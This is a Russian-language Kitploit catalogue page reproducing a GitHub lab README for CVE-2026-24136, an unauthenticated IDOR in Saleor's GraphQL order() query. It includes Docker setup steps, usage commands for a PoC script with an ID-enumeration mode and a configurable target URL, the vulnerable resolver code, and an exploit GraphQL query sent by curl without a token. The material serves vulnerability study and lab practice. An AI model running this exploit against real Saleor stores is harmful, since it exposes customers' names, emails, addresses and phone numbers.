Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Лаборатория по эксплуатации уязвимости IDOR в Saleor GraphQL - запрос order() не проверяет аутентификацию, раскрывая все PII (электронная почта, адрес, телефон) клиентов. Включает среду Docker, скрипт начальных данных и PoC. CVSS 4.0: 8.7 HIGH. | Kitploit
Инструменты/GitHubGitHub/blankbire/cve-2026-24136-lab
Анализ уязвимостейЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | Лаборатория по эксплуатации уязвимости IDOR в Saleor GraphQL - запрос order() не проверяет аутентификацию, раскрывая все PII (электронная почта, адрес, телефон) клиентов. Включает среду Docker, скрипт начальных данных и PoC. CVSS 4.0: 8.7 HIGH.

Репозиторий
1133 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-24136 - Saleor GraphQL IDOR / Неавторизованная утечка PII

Обзор

ПолеДетали
CVE IDCVE-2026-24136
Тип уязвимостиIDOR - Authorization Bypass Through User-Controlled Key (CWE-639)
Программное обеспечениеSaleor e-commerce platform
Затронутые версии3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
Исправленные версии3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
ВоздействиеНеавторизованный злоумышленник может прочитать PII (имя, адрес, телефон, email) любого заказа
Требуется аутентификация?Нет

Описание уязвимости

Saleor предоставляет GraphQL API для управления заказами в электронной коммерции. Запрос order(id: $id) позволяет получить детальную информацию о заказе по его глобальному идентификатору. В затронутых версиях этот запрос не проверяет, имеет ли вызывающий право просматривать данный заказ.

Любой, даже полностью анонимный пользователь без аккаунта, может выполнить этот запрос и получить все PII клиента: email, ФИО, адрес доставки, номер телефона, историю входов.


Структура лаборатории

cve-2026-24136-lab/
├── docker-compose.yml          # Среда лаборатории (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # Скрипт автоматического запуска (Windows PowerShell)
├── setup_lab.sh                # Скрипт автоматического запуска (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # Обёртка запуска: исправление бага wsgi + gunicorn
    ├── seed_data.py            # Создание аккаунтов жертв и заказов с PII
    └── poc_cve_2026_24136.py   # PoC эксплуатации

Запуск лаборатории

Требования

  • Docker Desktop (Windows / macOS) или Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

# Установка политики выполнения при необходимости
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Запуск автоматической настройки
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

chmod +x setup_lab.sh
./setup_lab.sh

Вручную

# 1. Запуск контейнеров
docker compose up -d

# 2. Ожидание готовности API (~60-90 секунд)
#    Проверка: curl http://localhost:8000/health/

# 3. Создание учётной записи администратора
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. Заполнение товаров/каналов
docker exec cve_saleor_api python manage.py populatedb

# 5. Создание данных жертвы (аккаунты + заказы с PII)
cd scripts
pip install requests
python seed_data.py

Эндпоинты после запуска:

СервисURL
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
Администратор[email protected] / admin

Использование PoC

cd scripts

# Просмотр технического объяснения
python poc_cve_2026_24136.py explain

# Эксплуатация из seed-списка (РЕКОМЕНДУЕТСЯ - Saleor 3.x использует UUID ID)
python poc_cve_2026_24136.py file order_ids.json

# Эксплуатация одного заказа по прямому base64 глобальному ID
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# Последовательный перебор (работает только с Saleor < 3.x, использующим integer ID)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# Изменение целевого API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# Сохранение результатов в JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

Пример вывода

[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

Анализ первопричины

1. Кодирование ID заказа

Saleor использует "Global Object Identification" в соответствии со спецификацией Relay GraphQL. Каждый объект идентифицируется глобальным ID вида:

base64("<TypeName>:<internal_id>")

Для заказов в Saleor 3.x:

# internal_id — UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

Примечание: Saleor 2.x использует целочисленные последовательные ID (Order:1, Order:2, ...), поэтому их легче перебирать.
Saleor 3.x перешёл на UUID, поэтому злоумышленнику нужно получить UUID другим способом (письмо с подтверждением заказа, утечка URL и т.д.).

2. Код, вызывающий уязвимость

Файл: saleor/graphql/order/resolvers.py

# УЯЗВИМАЯ ВЕРСИЯ (до исправления)
def resolve_order(root, info, id):
    """Resolve order by ID – нет никакой проверки авторизации."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Любой вызывающий получает данные, без проверки пользователя, без проверки сессии

Файл: saleor/graphql/order/schema.py

# Определение запроса, без объявления разрешений
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Нет @permission_required, нет никаких защит

3. Эксплуатационный GraphQL запрос

Отправляемый запрос не содержит заголовка Authorization:

query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
# Отправка через curl, токен не требуется
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# Ответ (без аутентификации):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. Схема атаки

Скачать инструмент